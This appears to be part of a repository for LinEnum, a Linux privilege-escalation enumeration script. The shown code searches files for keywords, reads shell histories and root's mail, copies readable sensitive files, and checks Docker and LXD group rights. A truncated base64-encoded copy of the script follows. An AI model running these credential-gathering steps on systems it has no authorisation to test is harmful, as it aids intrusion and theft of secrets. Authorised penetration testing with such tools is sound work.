located 1115 | if [ "$keyword" = "" ]; then 1116 | echo -e "[-] Can't search *.php files as no keyword was entered\n" 1117 | else 1118 | phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1119 | if [ "$phpkey" ]; then 1120 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 1121 | echo -e "\n" 1122 | else 1123 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 1124 | echo -e "'$keyword' not found in any .php files" 1125 | echo -e "\n" 1126 | fi 1127 | fi 1128 | 1129 | if [ "$keyword" = "" ]; then 1130 | : 1131 | else 1132 | if [ "$export" ] && [ "$phpkey" ]; then 1133 | phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1134 | mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null 1135 | for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null 1136 | fi 1137 | fi 1138 | 1139 | #use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located 1140 | if [ "$keyword" = "" ];then 1141 | echo -e "[-] Can't search *.log files as no keyword was entered\n" 1142 | else 1143 | logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1144 | if [ "$logkey" ]; then 1145 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 1146 | echo -e "\n" 1147 | else 1148 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 1149 | echo -e "'$keyword' not found in any .log files" 1150 | echo -e "\n" 1151 | fi 1152 | fi 1153 | 1154 | if [ "$keyword" = "" ];then 1155 | : 1156 | else 1157 | if [ "$export" ] && [ "$logkey" ]; then 1158 | logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1159 | mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null 1160 | for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null 1161 | fi 1162 | fi 1163 | 1164 | #use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located 1165 | if [ "$keyword" = "" ];then 1166 | echo -e "[-] Can't search *.ini files as no keyword was entered\n" 1167 | else 1168 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1169 | if [ "$inikey" ]; then 1170 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 1171 | echo -e "\n" 1172 | else 1173 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 1174 | echo -e "'$keyword' not found in any .ini files" 1175 | echo -e "\n" 1176 | fi 1177 | fi 1178 | 1179 | if [ "$keyword" = "" ];then 1180 | : 1181 | else 1182 | if [ "$export" ] && [ "$inikey" ]; then 1183 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1184 | mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null 1185 | for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null 1186 | fi 1187 | fi 1188 | 1189 | #quick extract of .conf files from /etc - only 1 level 1190 | allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` 1191 | if [ "$allconf" ]; then 1192 | echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 1193 | echo -e "\n" 1194 | fi 1195 | 1196 | if [ "$export" ] && [ "$allconf" ]; then 1197 | mkdir $format/conf-files/ 2>/dev/null 1198 | for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null 1199 | fi 1200 | 1201 | #extract any user history files that are accessible 1202 | usrhist=`ls -la ~/.*_history 2>/dev/null` 1203 | if [ "$usrhist" ]; then 1204 | echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 1205 | echo -e "\n" 1206 | fi 1207 | 1208 | if [ "$export" ] && [ "$usrhist" ]; then 1209 | mkdir $format/history_files/ 2>/dev/null 1210 | for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null 1211 | fi 1212 | 1213 | #can we read roots *_history files - could be passwords stored etc. 1214 | roothist=`ls -la /root/.*_history 2>/dev/null` 1215 | if [ "$roothist" ]; then 1216 | echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 1217 | echo -e "\n" 1218 | fi 1219 | 1220 | if [ "$export" ] && [ "$roothist" ]; then 1221 | mkdir $format/history_files/ 2>/dev/null 1222 | cp $roothist $format/history_files/ 2>/dev/null 1223 | fi 1224 | 1225 | #all accessible .bash_history files in /home 1226 | checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;` 1227 | if [ "$checkbashhist" ]; then 1228 | echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist" 1229 | echo -e "\n" 1230 | fi 1231 | 1232 | #any .bak files that may be of interest 1233 | bakfiles=`find / -name *.bak -type f 2/dev/null` 1242 | if [ "$readmail" ]; then 1243 | echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 1244 | echo -e "\n" 1245 | fi 1246 | 1247 | #can we read roots mail 1248 | readmailroot=`head /var/mail/root 2>/dev/null` 1249 | if [ "$readmailroot" ]; then 1250 | echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 1251 | echo -e "\n" 1252 | fi 1253 | 1254 | if [ "$export" ] && [ "$readmailroot" ]; then 1255 | mkdir $format/mail-from-root/ 2>/dev/null 1256 | cp $readmailroot $format/mail-from-root/ 2>/dev/null 1257 | fi 1258 | } 1259 | 1260 | docker_checks() 1261 | { 1262 | 1263 | #specific checks - check to see if we're in a docker container 1264 | dockercontainer=` grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` 1265 | if [ "$dockercontainer" ]; then 1266 | echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 1267 | echo -e "\n" 1268 | fi 1269 | 1270 | #specific checks - check to see if we're a docker host 1271 | dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` 1272 | if [ "$dockerhost" ]; then 1273 | echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 1274 | echo -e "\n" 1275 | fi 1276 | 1277 | #specific checks - are we a member of the docker group 1278 | dockergrp=`id | grep -i docker 2>/dev/null` 1279 | if [ "$dockergrp" ]; then 1280 | echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 1281 | echo -e "\n" 1282 | fi 1283 | 1284 | #specific checks - are there any docker files present 1285 | dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` 1286 | if [ "$dockerfiles" ]; then 1287 | echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 1288 | echo -e "\n" 1289 | fi 1290 | 1291 | #specific checks - are there any docker files present 1292 | dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` 1293 | if [ "$dockeryml" ]; then 1294 | echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 1295 | echo -e "\n" 1296 | fi 1297 | } 1298 | 1299 | lxc_container_checks() 1300 | { 1301 | 1302 | #specific checks - are we in an lxd/lxc container 1303 | lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null` 1304 | if [ "$lxccontainer" ]; then 1305 | echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer" 1306 | echo -e "\n" 1307 | fi 1308 | 1309 | #specific checks - are we a member of the lxd group 1310 | lxdgroup=`id | grep -i lxd 2>/dev/null` 1311 | if [ "$lxdgroup" ]; then 1312 | echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup" 1313 | echo -e "\n" 1314 | fi 1315 | } 1316 | 1317 | footer() 1318 | { 1319 | echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 1320 | } 1321 | 1322 | call_each() 1323 | { 1324 | header 1325 | debug_info 1326 | system_info 1327 | user_info 1328 | environmental_info 1329 | job_info 1330 | networking_info 1331 | services_info 1332 | software_configs 1333 | interesting_files 1334 | docker_checks 1335 | lxc_container_checks 1336 | footer 1337 | } 1338 | 1339 | while getopts "h:k:r:e:st" option; do 1340 | case "${option}" in 1341 | k) keyword=${OPTARG};; 1342 | r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; 1343 | e) export=${OPTARG};; 1344 | s) sudopass=1;; 1345 | t) thorough=1;; 1346 | h) usage; exit;; 1347 | *) usage; exit;; 1348 | esac 1349 | done 1350 | 1351 | call_each | tee -a $report 2> /dev/null 1352 | #EndOfScript 1353 | -------------------------------------------------------------------------------- /examples/b64.sh: -------------------------------------------------------------------------------- 1 | echo "IyEvYmluL2Jhc2gKI0Egc2NyaXB0IHRvIGVudW1lcmF0ZSBsb2NhbCBpbmZvcm1hdGlvbiBmcm9tIGEgTGludXggaG9zdAp2ZXJzaW9uPSJ2ZXJzaW9uIDAuOTgyIgojQHJlYm9vdHVzZXIKCiNoZWxwIGZ1bmN0aW9uCnVzYWdlICgpIAp7IAplY2hvIC1lICJcblxlWzAwOzMxbSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCmVjaG8gLWUgIlxlWzAwOzMxbSNcZVswMG0iICJcZVswMDszM21Mb2NhbCBMaW51eCBFbnVtZXJhdGlvbiAmIFByaXZpbGVnZSBFc2NhbGF0aW9uIFNjcmlwdFxlWzAwbSIgIlxlWzAwOzMxbSNcZVswMG0iCmVjaG8gLWUgIlxlWzAwOzMxbSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIKZWNobyAtZSAiXGVbMDA7MzNtIyB3d3cucmVib290dXNlci5jb20gfCBAcmVib290dXNlciBcZVswMG0iCmVjaG8gLWUgIlxlWzAwOzMzbSMgJHZlcnNpb25cZVswMG1cbiIKZWNobyAtZSAiXGVbMDA7MzNtIyBFeGFtcGxlOiAuL0xpbkVudW0uc2ggLWsga2V5d29yZCAtciByZXBvcnQgLWUgL3RtcC8gLXQgXGVbMDBtXG4iCgoJCWVjaG8gIk9QVElPTlM6IgoJCWVjaG8gIi1rCUVudGVyIGtleXdvcmQiCgkJZWNobyAiLWUJRW50ZXIgZXhwb3J0IGxvY2F0aW9uIgoJCWVjaG8gIi1zIAlTdXBwbHkgdXNlciBwYXNzd29yZCBmb3Igc3VkbyBjaGVja3MgKElOU0VDVVJFKSIKCQllY2hvICItdAlJbmNsdWRlIHRob3JvdWdoIChsZW5ndGh5KSB0ZXN0cyIKCQllY2hvICItcglFbnRlciByZXBvcnQgbmFtZSIgCgkJZWNobyAiLWgJRGlzcGxheXMgdGhpcyBoZWxwIHRleHQiCgkJZWNobyAtZSAiXG4iCgkJZWNobyAiUnVubmluZyB3aXRoIG5vIG9wdGlvbnMgPSBsaW1pdGVkIHNjYW5zL25vIG91dHB1dCBmaWxlIgoJCQplY2hvIC1lICJcZVswMDszMW0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcZVswMG0iCQkKfQpoZWFkZXIoKQp7CmVjaG8gLWUgIlxuXGVbMDA7MzFtIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKZWNobyAtZSAiXGVbMDA7MzFtI1xlWzAwbSIgIlxlWzAwOzMzbUxvY2FsIExpbnV4IEVudW1lcmF0aW9uICYgUHJpdmlsZWdlIEVzY2FsYXRpb24gU2NyaXB0XGVbMDBtIiAiXGVbMDA7MzFtI1xlWzAwbSIgCmVjaG8gLWUgIlxlWzAwOzMxbSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCmVjaG8gLWUgIlxlWzAwOzMzbSMgd3d3LnJlYm9vdHVzZXIuY29tXGVbMDBtIiAKZWNobyAtZSAiXGVbMDA7MzNtIyAkdmVyc2lvblxlWzAwbVxuIiAKCn0KCmRlYnVnX2luZm8oKQp7CmVjaG8gIlstXSBEZWJ1ZyBJbmZvIiAKCmlmIFsgIiRrZXl3b3JkIiBdOyB0aGVuIAoJZWNobyAiWytdIFNlYXJjaGluZyBmb3IgdGhlIGtleXdvcmQgJGtleXdvcmQgaW4gY29uZiwgcGhwLCBpbmkgYW5kIGxvZyBmaWxlcyIgCmZpCgppZiBbICIkcmVwb3J0IiBdOyB0aGVuIAoJZWNobyAiWytdIFJlcG9ydCBuYW1lID0gJHJlcG9ydCIgCmZpCgppZiBbICIkZXhwb3J0IiBdOyB0aGVuIAoJZWNobyAiWytdIEV4cG9ydCBsb2NhdGlvbiA9ICRleHBvcnQiIApmaQoKaWYgWyAiJHRob3JvdWdoIiBdOyB0aGVuIAoJZWNobyAiWytdIFRob3JvdWdoIHRlc3RzID0gRW5hYmxlZCIgCmVsc2UgCgllY2hvIC1lICJcZVswMDszM21bK10gVGhvcm91Z2ggdGVzdHMgPSBEaXNhYmxlZFxlWzAwbSIgCmZpCgpzbGVlcCAyCgppZiBbICIkZXhwb3J0IiBdOyB0aGVuCiAgbWtkaXIgJGV4cG9ydCAyPi9kZXYvbnVsbAogIGZvcm1hdD0kZXhwb3J0L0xpbkVudW0tZXhwb3J0LWBkYXRlICsiJWQtJW0tJXkiYAogIG1rZGlyICRmb3JtYXQgMj4vZGV2L251bGwKZmkKCmlmIFsgIiRzdWRvcGFzcyIgXTsgdGhlbiAKICBlY2hvIC1lICJcZVswMDszNW1bK10gUGxlYXNlIGVudGVyIHBhc3N3b3JkIC0gSU5TRUNVUkUgLSByZWFsbHkgb25seSBmb3IgQ1RGIHVzZSFcZVswMG0iCiAgcmVhZCAtcyB1c2VycGFzc3dvcmQKICBlY2hvIApmaQoKd2hvPWB3aG9hbWlgIDI+L2Rldi9udWxsIAplY2hvIC1lICJcbiIgCgplY2hvIC1lICJcZVswMDszM21TY2FuIHN0YXJ0ZWQgYXQ6IjsgZGF0ZSAKZWNobyAtZSAiXGVbMDBtXG4iIAp9CgojIHVzZWZ1bCBiaW5hcmllcyAodGhhbmtzIHRvIGh0dHBzOi8vZ3Rmb2JpbnMuZ2l0aHViLmlvLykKYmluYXJ5bGlzdD0nYXJpYTJjXHxhcnBcfGFzaFx8YXdrXHxiYXNlNjRcfGJhc2hcfGJ1c3lib3hcfGNhdFx8Y2htb2RcfGNob3duXHxjcFx8Y3NoXHxjdXJsXHxjdXRcfGRhc2hcfGRhdGVcfGRkXHxkaWZmXHxkbXNldHVwXHxkb2NrZXJcfGVkXHxlbWFjc1x8ZW52XHxleHBhbmRcfGV4cGVjdFx8ZmlsZVx8ZmluZFx8ZmxvY2tcfGZtdFx8Zm9sZFx8ZnRwXHxnYXdrXHxnZGJcfGdpbXBcfGdpdFx8Z3JlcFx8aGVhZFx8aHRcfGlmdG9wXHxpb25pY2VcfGlwJFx8aXJiXHxqanNcfGpxXHxqcnVuc2NyaXB0XHxrc2hcfGxkLnNvXHxsZGNvbmZpZ1x8bGVzc1x8bG9nc2F2ZVx8bHVhXHxtYWtlXHxtYW5cfG1hd2tcfG1vcmVcfG12XHxteXNxbFx8bmFub1x8bmF3a1x8bmNcfG5ldGNhdFx8bmljZVx8bmxcfG5tYXBcfG5vZGVcfG9kXHxvcGVuc3NsXHxwZXJsXHxwZ1x8cGhwXHxwaWNcfHBpY29cfHB5dGhvblx8cmVhZGVsZlx8cmx3cmFwXHxycG1cfHJwbXF1ZXJ5XHxyc3luY1x8cnVieVx8cnVuLXBhcnRzXHxydmltXHxzY3BcfHNjcmlwdFx8c2VkXHxzZXRhcmNoXHxzZnRwXHxzaFx8c2h1Zlx8c29jYXRcfHNvcnRcfHNxbGl0ZTNcfHNzaCRcfHN0YXJ0LXN0b3AtZGFlbW9uXHxzdGRidWZcfHN0cmFjZVx8c3lzdGVtY3RsXHx0YWlsXHx0YXJcfHRhc2tzZXRcfHRjbHNoXHx0ZWVcfHRlbG5ldFx8dGZ0cFx8dGltZVx8dGltZW91dFx8dWxcfHVuZXhwYW5kXHx1bmlxXHx1bnNoYXJlXHx2aVx8dmltXHx3YXRjaFx8d2dldFx8d2lzaFx8eGFyZ3NcfHh4ZFx8emlwXHx6c2gnCgpzeXN0ZW1faW5mbygpCnsKZWNobyAtZSAiXGVbMDA7MzNtIyMjIFNZU1RFTSAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKCiNiYXNpYyBrZXJuZWwgaW5mbwp1bmFtZWluZm89YHVuYW1lIC1hIDI+L2Rldi9udWxsYAppZiBbICIkdW5hbWVpbmZvIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEtlcm5lbCBpbmZvcm1hdGlvbjpcZVswMG1cbiR1bmFtZWluZm8iIAogIGVjaG8gLWUgIlxuIiAKZmkKCnByb2N2ZXI9YGNhdCAvcHJvYy92ZXJzaW9uIDI+L2Rldi9udWxsYAppZiBbICIkcHJvY3ZlciIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBLZXJuZWwgaW5mb3JtYXRpb24gKGNvbnRpbnVlZCk6XGVbMDBtXG4kcHJvY3ZlciIgCiAgZWNobyAtZSAiXG4iIApmaQoKI3NlYXJjaCBhbGwgKi1yZWxlYXNlIGZpbGVzIGZvciB2ZXJzaW9uIGluZm8KcmVsZWFzZT1gY2F0IC9ldGMvKi1yZWxlYXNlIDI+L2Rldi9udWxsYAppZiBbICIkcmVsZWFzZSIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBTcGVjaWZpYyByZWxlYXNlIGluZm9ybWF0aW9uOlxlWzAwbVxuJHJlbGVhc2UiIAogIGVjaG8gLWUgIlxuIiAKZmkKCiN0YXJnZXQgaG9zdG5hbWUgaW5mbwpob3N0bmFtZWQ9YGhvc3RuYW1lIDI+L2Rldi9udWxsYAppZiBbICIkaG9zdG5hbWVkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEhvc3RuYW1lOlxlWzAwbVxuJGhvc3RuYW1lZCIgCiAgZWNobyAtZSAiXG4iIApmaQp9Cgp1c2VyX2luZm8oKQp7CmVjaG8gLWUgIlxlWzAwOzMzbSMjIyBVU0VSL0dST1VQICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCgojY3VycmVudCB1c2VyIGRldGFpbHMKY3VycnVzcj1gaWQgMj4vZGV2L251bGxgCmlmIFsgIiRjdXJydXNyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEN1cnJlbnQgdXNlci9ncm91cCBpbmZvOlxlWzAwbVxuJGN1cnJ1c3IiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xhc3QgbG9nZ2VkIG9uIHVzZXIgaW5mb3JtYXRpb24KbGFzdGxvZ2Vkb251c3JzPWBsYXN0bG9nIDI+L2Rldi9udWxsIHxncmVwIC12ICJOZXZlciIgMj4vZGV2L251bGxgCmlmIFsgIiRsYXN0bG9nZWRvbnVzcnMiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gVXNlcnMgdGhhdCBoYXZlIHByZXZpb3VzbHkgbG9nZ2VkIG9udG8gdGhlIHN5c3RlbTpcZVswMG1cbiRsYXN0bG9nZWRvbnVzcnMiIAogIGVjaG8gLWUgIlxuIiAKZmkKCiN3aG8gZWxzZSBpcyBsb2dnZWQgb24KbG9nZ2Vkb251c3JzPWB3IDI+L2Rldi9udWxsYAppZiBbICIkbG9nZ2Vkb251c3JzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFdobyBlbHNlIGlzIGxvZ2dlZCBvbjpcZVswMG1cbiRsb2dnZWRvbnVzcnMiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xpc3RzIGFsbCBpZCdzIGFuZCByZXNwZWN0aXZlIGdyb3VwKHMpCmdycGluZm89YGZvciBpIGluICQoY3V0IC1kIjoiIC1mMSAvZXRjL3Bhc3N3ZCAyPi9kZXYvbnVsbCk7ZG8gaWQgJGk7ZG9uZSAyPi9kZXYvbnVsbGAKaWYgWyAiJGdycGluZm8iIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gR3JvdXAgbWVtYmVyc2hpcHM6XGVbMDBtXG4kZ3JwaW5mbyIKICBlY2hvIC1lICJcbiIKZmkKCiNhZGRlZCBieSBwaGFja3QgLSBsb29rIGZvciBhZG0gZ3JvdXAgKHRoYW5rcyBwYXRyaWNrKQphZG1fdXNlcnM9JChlY2hvIC1lICIkZ3JwaW5mbyIgfCBncmVwICIoYWRtKSIpCmlmIFtbICEgLXogJGFkbV91c2VycyBdXTsKICB0aGVuCiAgICBlY2hvIC1lICJcZVswMDszMW1bLV0gSXQgbG9va3MgbGlrZSB3ZSBoYXZlIHNvbWUgYWRtaW4gdXNlcnM6XGVbMDBtXG4kYWRtX3VzZXJzIgogICAgZWNobyAtZSAiXG4iCmZpCgojY2hlY2tzIHRvIHNlZSBpZiBhbnkgaGFzaGVzIGFyZSBzdG9yZWQgaW4gL2V0Yy9wYXNzd2QgKGRlcHJlY2lhdGVkICAqbml4IHN0b3JhZ2UgbWV0aG9kKQpoYXNoZXNpbnBhc3N3ZD1gZ3JlcCAtdiAnXlteOl0qOlt4XScgL2V0Yy9wYXNzd2QgMj4vZGV2L251bGxgCmlmIFsgIiRoYXNoZXNpbnBhc3N3ZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBJdCBsb29rcyBsaWtlIHdlIGhhdmUgcGFzc3dvcmQgaGFzaGVzIGluIC9ldGMvcGFzc3dkIVxlWzAwbVxuJGhhc2hlc2lucGFzc3dkIiAKICBlY2hvIC1lICJcbiIKZmkKCiNjb250ZW50cyBvZiAvZXRjL3Bhc3N3ZApyZWFkcGFzc3dkPWBjYXQgL2V0Yy9wYXNzd2QgMj4vZGV2L251bGxgCmlmIFsgIiRyZWFkcGFzc3dkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIENvbnRlbnRzIG9mIC9ldGMvcGFzc3dkOlxlWzAwbVxuJHJlYWRwYXNzd2QiIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkcmVhZHBhc3N3ZCIgXTsgdGhlbgogIG1rZGlyICRmb3JtYXQvZXRjLWV4cG9ydC8gMj4vZGV2L251bGwKICBjcCAvZXRjL3Bhc3N3ZCAkZm9ybWF0L2V0Yy1leHBvcnQvcGFzc3dkIDI+L2Rldi9udWxsCmZpCgojY2hlY2tzIHRvIHNlZSBpZiB0aGUgc2hhZG93IGZpbGUgY2FuIGJlIHJlYWQKcmVhZHNoYWRvdz1gY2F0IC9ldGMvc2hhZG93IDI+L2Rldi9udWxsYAppZiBbICIkcmVhZHNoYWRvdyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSBjYW4gcmVhZCB0aGUgc2hhZG93IGZpbGUhXGVbMDBtXG4kcmVhZHNoYWRvdyIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRyZWFkc2hhZG93IiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9ldGMtZXhwb3J0LyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvc2hhZG93ICRmb3JtYXQvZXRjLWV4cG9ydC9zaGFkb3cgMj4vZGV2L251bGwKZmkKCiNjaGVja3MgdG8gc2VlIGlmIC9ldGMvbWFzdGVyLnBhc3N3ZCBjYW4gYmUgcmVhZCAtIEJTRCAnc2hhZG93JyB2YXJpYW50CnJlYWRtYXN0ZXJwYXNzd2Q9YGNhdCAvZXRjL21hc3Rlci5wYXNzd2QgMj4vZGV2L251bGxgCmlmIFsgIiRyZWFkbWFzdGVycGFzc3dkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlIGNhbiByZWFkIHRoZSBtYXN0ZXIucGFzc3dkIGZpbGUhXGVbMDBtXG4kcmVhZG1hc3RlcnBhc3N3ZCIgCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRyZWFkbWFzdGVycGFzc3dkIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9ldGMtZXhwb3J0LyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvbWFzdGVyLnBhc3N3ZCAkZm9ybWF0L2V0Yy1leHBvcnQvbWFzdGVyLnBhc3N3ZCAyPi9kZXYvbnVsbApmaQoKI2FsbCByb290IGFjY291bnRzICh1aWQgMCkKc3VwZXJtYW49YGdyZXAgLXYgLUUgIl4jIiAvZXRjL3Bhc3N3ZCAyPi9kZXYvbnVsbHwgYXdrIC1GOiAnJDMgPT0gMCB7IHByaW50ICQxfScgMj4vZGV2L251bGxgCmlmIFsgIiRzdXBlcm1hbiIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBTdXBlciB1c2VyIGFjY291bnQocyk6XGVbMDBtXG4kc3VwZXJtYW4iCiAgZWNobyAtZSAiXG4iCmZpCgojcHVsbCBvdXQgdml0YWwgc3Vkb2VycyBpbmZvCnN1ZG9lcnM9YGdyZXAgLXYgLWUgJ14kJyAvZXRjL3N1ZG9lcnMgMj4vZGV2L251bGwgfGdyZXAgLXYgIiMiIDI+L2Rldi9udWxsYAppZiBbICIkc3Vkb2VycyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBTdWRvZXJzIGNvbmZpZ3VyYXRpb24gKGNvbmRlbnNlZCk6XGVbMDBtJHN1ZG9lcnMiCiAgZWNobyAtZSAiXG4iCmZpCgppZiBbICIkZXhwb3J0IiBdICYmIFsgIiRzdWRvZXJzIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9ldGMtZXhwb3J0LyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvc3Vkb2VycyAkZm9ybWF0L2V0Yy1leHBvcnQvc3Vkb2VycyAyPi9kZXYvbnVsbApmaQoKI2NhbiB3ZSBzdWRvIHdpdGhvdXQgc3VwcGx5aW5nIGEgcGFzc3dvcmQKc3Vkb3Blcm1zPWBlY2hvICcnIHwgc3VkbyAtUyAtbCAtayAyPi9kZXYvbnVsbGAKaWYgWyAiJHN1ZG9wZXJtcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSBjYW4gc3VkbyB3aXRob3V0IHN1cHBseWluZyBhIHBhc3N3b3JkIVxlWzAwbVxuJHN1ZG9wZXJtcyIgCiAgZWNobyAtZSAiXG4iCmZpCgojY2hlY2sgc3VkbyBwZXJtcyAtIGF1dGhlbnRpY2F0ZWQKaWYgWyAiJHN1ZG9wYXNzIiBdOyB0aGVuCiAgICBpZiBbICIkc3Vkb3Blcm1zIiBdOyB0aGVuCiAgICAgIDoKICAgIGVsc2UKICAgICAgc3Vkb2F1dGg9YGVjaG8gJHVzZXJwYXNzd29yZCB8IHN1ZG8gLVMgLWwgLWsgMj4vZGV2L251bGxgCiAgICAgIGlmIFsgIiRzdWRvYXV0aCIgXTsgdGhlbgogICAgICAgIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSBjYW4gc3VkbyB3aGVuIHN1cHBseWluZyBhIHBhc3N3b3JkIVxlWzAwbVxuJHN1ZG9hdXRoIiAKICAgICAgICBlY2hvIC1lICJcbiIKICAgICAgZmkKICAgIGZpCmZpCgojI2tub3duICdnb29kJyBicmVha291dCBiaW5hcmllcyAoY2xlYW5lZCB0byBwYXJzZSAvZXRjL3N1ZG9lcnMgZm9yIGNvbW1hIHNlcGFyYXRlZCB2YWx1ZXMpIC0gYXV0aGVudGljYXRlZAppZiBbICIkc3Vkb3Bhc3MiIF07IHRoZW4KICAgIGlmIFsgIiRzdWRvcGVybXMiIF07IHRoZW4KICAgICAgOgogICAgZWxzZQogICAgICBzdWRvcGVybXNjaGVjaz1gZWNobyAkdXNlcnBhc3N3b3JkIHwgc3VkbyAtUyAtbCAtayAyPi9kZXYvbnVsbCB8IHhhcmdzIC1uIDEgMj4vZGV2L251bGx8c2VkICdzLywqJC8vZycgMj4vZGV2L251bGwgfCBncmVwIC13ICRiaW5hcnlsaXN0IDI+L2Rldi9udWxsYAogICAgICBpZiBbICIkc3Vkb3Blcm1zY2hlY2siIF07IHRoZW4KICAgICAgICBlY2hvIC1lICJcZVswMDszM21bLV0gUG9zc2libGUgc3VkbyBwd25hZ2UhXGVbMDBtXG4kc3Vkb3Blcm1zY2hlY2siIAogICAgICAgI